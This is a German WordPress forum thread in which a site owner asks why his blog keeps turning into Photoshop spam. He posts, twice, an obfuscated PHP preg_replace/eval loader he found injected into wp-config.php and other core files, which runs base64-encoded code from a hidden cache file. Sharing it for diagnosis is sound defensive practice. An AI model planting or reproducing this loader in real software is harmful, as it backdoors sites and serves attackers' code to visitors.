Spam Commentar baut Seite um

virus im wordpress?

Hallo Forum,

ich habe die Befürchtung das irgendein Kommentar-Spam meine Seite umbaut.
Es kommt ab und an mal vor das die ganze Seite nur noch Werbung von Adobe Photoshop hat...

sobald ich den spam im backend leere, ist alles wieder normal!

Verwende auch: akismet

kennt das wer?
jemand schon so einen Effekt gehabt?

Danke Euch,
Basti

------

Screenshort Virus Wordpress ?

Wer kann mir dabei helfen?
ich weiß nicht woran es liegen soll!

Danke Euch!

typo3 mache ich auch nur :D *top*

das komische ist ja... es sind nur spam-kommentare! sobald ich die "spam-Kommentare" lösche ist die Seite wieder normal!

Screenshort Virus Wordpress ?

Wer kann mir dabei helfen?
ich weiß nicht woran es liegen soll!

Danke Euch!

ne die werden nicht gleich gezeigt!
wobei ich mir nun auch nicht 100% sicher bin, ob es etwas mit den Kommentaren zu tun hat!

Will mehr oder weniger einfach den "ab und an" Spam/Virus weg bekommen :(

leider haben wir das problem immer noch!

und es liegt auf keinen fall an kommentare.
sobald man auf den home button, oder auf die überschrift klickt wandelt sich die seite um.

nene, schau dir mal den screen an, der komplette blog wird einfach so umgebaut:

Screenshort Virus Wordpress ?

und ich weiß nicht an was das liegen soll.... es ist wirklich zum kotzen.

hat niemand eine idee, oder eine lösung :(

Wir haben diesen Code in unterschiedlichen .php Datei im Root Ordner:

@preg_replace("\x23\50\x2e\53\x29\43\x65\163\x69","\x65\166\x61\154\x28\47\x24\157\x65\155\x3d\63\x36\71\x35\73\x27\56\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x69\155\x70\154\x6f\144\x65\50\x22\134\x6e\42\x2c\146\x69\154\x65\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\134\x31\42\x29\51\x29\51\x29\73\x24\157\x65\155\x3d\63\x36\71\x35\73","\x4c\63\x5a\150\x63\151\x39\63\x64\63\x63\166\x59\155\x46\60\x64\107\x78\154\x5a\155\x6c\154\x62\107\x51\164\x59\62\x39\164\x63\107\x46\165\x65\123\x35\153\x5a\123\x39\63\x63\103\x31\150\x5a\107\x31\160\x62\151\x39\160\x62\155\x4e\163\x64\127\x52\154\x63\171\x39\152\x59\127\x4e\157\x5a\123\x38\165\x4a\124\x67\171\x4f\105\x55\154\x4d\104\x41\170\x4d\171\x56\103\x4f\105\x59\172\x4a\125\x4a\104\x4d\125\x49\154\x51\152\x49\171\x51\151\x55\60\x52\152\x55\63");

z.B.
wp-blog-header.php
wp-config.php
wp-load.php
usw.

wenn wir den entfernen, kommt der Code nach einer Zeit wieder zurück.
Wie können wir uns davor Schützen?

Danke

Zitat von Basti82

Wir haben diesen Code in unterschiedlichen .php Datei im Root Ordner:

Code

@preg_replace("\x23\50\x2e\53\x29\43\x65\163\x69","\x65\166\x61\154\x28\47\x24\157\x65\155\x3d\63\x36\71\x35\73\x27\56\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x69\155\x70\154\x6f\144\x65\50\x22\134\x6e\42\x2c\146\x69\154\x65\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\134\x31\42\x29\51\x29\51\x29\73\x24\157\x65\155\x3d\63\x36\71\x35\73","\x4c\63\x5a\150\x63\151\x39\63\x64\63\x63\166\x59\155\x46\60\x64\107\x78\154\x5a\155\x6c\154\x62\107\x51\164\x59\62\x39\164\x63\107\x46\165\x65\123\x35\153\x5a\123\x39\63\x63\103\x31\150\x5a\107\x31\160\x62\151\x39\160\x62\155\x4e\163\x64\127\x52\154\x63\171\x39\152\x59\127\x4e\157\x5a\123\x38\165\x4a\124\x67\171\x4f\105\x55\154\x4d\104\x41\170\x4d\171\x56\103\x4f\105\x59\172\x4a\125\x4a\104\x4d\125\x49\154\x51\152\x49\171\x51\151\x55\60\x52\152\x55\63");

z.B.
wp-blog-header.php
wp-config.php
wp-load.php
usw.

wenn wir den entfernen, kommt der Code nach einer Zeit wieder zurück.
Wie können wir uns davor Schützen?

Danke

hier mal mehr Informationen dazu, aber leider keine abhilfe. das tool verwenden wir schon lange
http://playground.ebiene.de/wordpress-wurm-unterwegs/

"Deine Suchanfrage erzielte keine Treffer. Bitte versuche es mit anderen Suchbegriffen."

hier das Theme:
http://www.technologytricks.com/themes/techified/